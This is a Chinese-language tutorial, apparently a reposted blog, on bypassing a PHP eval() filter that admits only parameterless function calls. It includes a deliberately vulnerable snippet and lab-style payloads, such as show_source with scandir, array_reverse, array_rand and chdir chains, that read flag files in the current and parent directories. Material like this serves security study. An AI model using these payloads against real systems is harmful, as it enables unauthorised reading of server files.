RCE之无参数读取文件总结
RCE毛病(Remote Code|Command Execute):是指由于程序中预留了执行代码大概命令的接口,并且提供了给用户利用的界面,导致被黑客利用, 控制服务器。
代码执行毛病原理:
传入php代码到执行函数的变量,客户端可控,并且没有做严格的过滤,攻击者可以随意输入他想执行的代码,并且这些代码在服务端执行
什么是无参数?
顾名思义,就是只利用函数,且函数不能带有参数
举个栗子:
<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>
这里利用preg_replace替换匹配到的字符为空,\w([^\W])匹配字母、数字和下划线,等价于 A-Za-z0-9_,然后(?R)?这个意思为递归整个匹配模式
以是正则的含义就是匹配无参数的函数,内部可以无穷嵌套相同的模式(无参数函数),将匹配的替换为空,判定剩下的是否只有;
以是我们要利用无参数的函数进行文件读取大概命令执行
栗子:aaa(bbb(ccc())); 我们只可以这样,当然,这里可以是数字,_,不止是英文。不可以aaa('bbb');
那我们怎么通过这种输入函数的方式来获取文件内容呢?(大概思绪)
1.首先可以先获取当前目录的所有文件
2.然后通过函数读取函数的内容,例如像show_source,hightlightfile等
假如发现文件不在当前目录,大概在上一级,由该如何读取文件内容呢?
先来说目标文件在上一级目录的下:
可以通过diename()查看上一级目录,以及构造".."
毛病复现:
1.首先准备好两个文件web3.php,flag.txt,我们的目的就是读取这个flag.txt里面的内容(同一目录)
https://i-blog.csdnimg.cn/direct/77dd75cd0e614a27ab0e4753d4292191.png
https://i-blog.csdnimg.cn/direct/ad18a4a48aef4d36b0d8e0537fe47ab5.png
2.打开BP,进行流量抓包
https://i-blog.csdnimg.cn/direct/7c112b357be54348b040999fa773dbcd.png
3.查看当前目录下有没有我们必要的文件
正常来说,我们可以通过print_r(scandir('.'));可以用来查看当前目录所有文件名,但是正则过滤了‘.’,以是我们必要构造出这个‘.’;
方法一:current(localeconv() )
current()返回数组中的单位,默认取第一个值,别名pos()。假如都被过滤还可以利用reset()
方法二:chr(46)
chr(46)就是字符"."
怎么构造46呢,因为函数要无参数
chr(current(localtime(time()))):
数组第一个值每秒+1,以是最多60秒就一定能得到46,用current(pos)就能得到"."
https://i-blog.csdnimg.cn/direct/22fe2e4eb5b74df3a5e7f39d95c1a628.png
这里的Array每过一秒值加一,一分钟内至少得到一个46
https://i-blog.csdnimg.cn/direct/e570702111074855b4560eac4a9aa18b.png
这里得到这个“.”了
这里我们就得到了当前目录下的所有文件及目录了!
https://i-blog.csdnimg.cn/direct/d658d432cecb477793aeab80668d1a16.png
这里还有别的一种思绪:上面通过构造点的方式其实就是相对路径,我们还可以通过绝对路径的方式来展示当前路径下的文件
getcwd() — 取恰当前工作目录
https://i-blog.csdnimg.cn/direct/e53c48095afe4b63be246edc95f37b80.png
https://i-blog.csdnimg.cn/direct/013744ef17304853aa0d7964af9b4b38.png
这不是跟之前构造“.”一样的效果嘛
4.读取文件内容
我们可以通过show_source(),readfile、highlight_file、readgzfile()等读文件函数都可以
注意:只可以读取文件,目录是不可的!
在此之前我们必要获取文件名,而获取文件名的方法有以下几种:
https://i-blog.csdnimg.cn/direct/2990c30794194db4a0fafbdaba984374.png
1.current(),返回数组第一个元素
https://i-blog.csdnimg.cn/direct/c22c24ab31f5439c9f8d7e2db9713bef.png
2.end(),数组指针指向末了一个元素,也就是返回数组末了一个元素
https://i-blog.csdnimg.cn/direct/d1f94f751d8b4b80a6d9310139ba32a7.png
3.next(),将数组的指针向后移动一位。就是第二个元素
https://i-blog.csdnimg.cn/direct/c32ce2931bae424a8a28694001f15ced.png
介绍一个函数:array_reverse() 以相反的元素次序返回数组
zlag.php(flag.php)本来在末了一位,反过来就成为第一位,可以直接用current(pos)读取
show_source(current(array_reverse(scandir(getcwd()))));
https://i-blog.csdnimg.cn/direct/9b451c1d8787401d9e8456b19d786ba4.png
假如是倒数第二个我们可以用:
show_source(next(array_reverse(scandir(getcwd()))));
假如文件不是在前两个大概后两个位置,那有没有什么方法可以读取到呢?换个说法,有什么方法可以获取任意位置文件的文件名呢?
我们可以利用array_rand(array_flip()),array_flip()是互换数组的键和值,array_rand — 从数组中随机取出一个或多个随机键
通过这种方式我们可以随机获取到当前路径下的文件名或目录名
https://i-blog.csdnimg.cn/direct/c52346a39a124f6e81ff1b0dfcfa8de7.png
这不就是flag嘛。多随机频频就有了
https://i-blog.csdnimg.cn/direct/f39d38be8394484199e7a3c16a6be6b0.png
5.获取上一级目录的文件
再介绍几个函数:
1.dirname() :返回路径中的目录部分
https://i-blog.csdnimg.cn/direct/1da3a6723362476abbdf7b85be0424cf.png
当然了,这里是可以叠加的
https://i-blog.csdnimg.cn/direct/b1cafadb5a814a4594e287dc7535fa18.png
这样就算文件在哪里都能获取到了
2.构造“..”
print_r(next(scandir(getcwd())));:我们scandir(getcwd())出现的数组第二个就是"..",以是可以用next()获取
https://i-blog.csdnimg.cn/direct/3c5b7d5250c64f12b2d87883ee27bbf4.png
获取上一级目录的内容:
直接这样:readfile(array_rand(array_flip(scandir(dirname(getcwd()))))) 是不可的
因为默认是在当前工作目录寻找并读取这个文件,而这个文件在上一层目录,以是要先改变当前工作目录
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
https://i-blog.csdnimg.cn/direct/3c4bab1a54ac4553b23a38a4f80cab71.png
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]